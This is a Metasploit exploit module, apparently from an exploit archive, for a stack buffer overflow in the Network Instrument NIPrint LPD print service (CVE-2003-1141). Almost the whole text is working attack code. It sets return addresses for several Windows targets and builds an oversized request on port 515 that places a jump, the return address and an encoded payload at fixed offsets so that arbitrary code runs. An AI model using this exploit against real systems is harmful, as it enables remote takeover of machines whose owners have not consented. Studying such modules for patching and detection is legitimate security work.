NIPrint LPD – Request Overflow (Metasploit)
## # $Id: niprint.rb 11407 2010-12-25 06:01:12Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'NIPrint LPD Request Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the Network Instrument NIPrint LPD service. Inspired by Immunity's VisualSploit :-) }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11407 $', 'References' => [ ['CVE', '2003-1141'], ['OSVDB', '2774'], ['BID', '8968'], ['URL', 'http://www.immunitysec.com/documentation/vs_niprint.html'], ], 'Privileged' => false, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x0a", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['NIPrint3.EXE (TDS:0x3a045ff2)', { 'Ret' => 0x00404236 }], # jmp esi ['Windows XP SP3', { 'Ret' => 0x7C9D30E3 }], ['Windows 7 x64', { 'Ret' => 0x763B35DD }], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 05 2003')) register_options( [ Opt::RPORT(515) ], self.class ) end def exploit connect req = rand_text_alphanumeric(8192) req[ 0, 2] = "\xeb\x33" req[ 49, 4] = [target.ret].pack('V') req[ 53, payload.encoded.length ] = payload.encoded print_status("Trying target #{target.name}...") sock.put(req) handler disconnect end end |